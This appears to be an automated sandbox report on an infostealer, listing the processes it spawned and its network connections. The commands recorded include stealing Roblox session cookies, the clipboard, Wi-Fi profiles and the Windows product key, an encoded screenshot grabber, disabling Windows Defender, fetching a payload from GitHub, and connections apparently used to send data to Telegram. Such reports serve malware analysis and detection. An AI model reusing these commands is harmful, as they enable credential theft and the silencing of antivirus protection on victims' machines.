QAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fwxy4hzl\fwxy4hzl.cmdline"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF9F.tmp" "c:\Users\Admin\AppData\Local\Temp\fwxy4hzl\CSC2D71887A24714901A3C52D819B60CEFE.TMP"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Users\Public\Guard.exe
"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\4H6r3.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\4H6r3.zip" *
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Write-Host 'Attempting to fix errors. Do not close the terminal or turn off the PC to avoid complications...' -ForegroundColor Yellow"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\timeout.exe
timeout /t 60
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
C:\Users\Public\Guard.exe
"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
C:\Users\Public\Guard.exe
"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
C:\l\winup\winb.exe
"C:\l\winup\winb.exe"
C:\l\winup\winb.exe
"C:\l\winup\winb.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winup\winb.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winup\winb.exe'
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1bk2amve\1bk2amve.cmdline"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47AE.tmp" "c:\Users\Admin\AppData\Local\Temp\1bk2amve\CSC42F884E9F6044150A890FE7C9641D724.TMP"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\7iZFv.zip" *"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Write-Host 'Troubleshoot process completed successfully....' -ForegroundColor Green"
C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\7iZFv.zip" *
C:\Windows\system32\timeout.exe
timeout /t 05
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\l\winup\winb.exe
"C:\l\winup\winb.exe"
C:\l\winup\winb.exe
"C:\l\winup\winb.exe"
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
Network
| Country | Destination | Domain | Proto |
| RO | 64.7.198.63:80 | tcp | |
| RO | 64.7.198.63:80 | 64.7.198.63 | tcp |
| RO | 64.7.198.63:443 | tcp | |
| RO | 64.7.198.63:443 | tcp | |
| US | 8.8.8.8:53 | 74.204.58.216.in-addr.arpa | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 216.58.212.227:443 | gstatic.com | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 216.58.212.227:443 | gstatic.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.108.133:443 | objects.githubusercontent.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
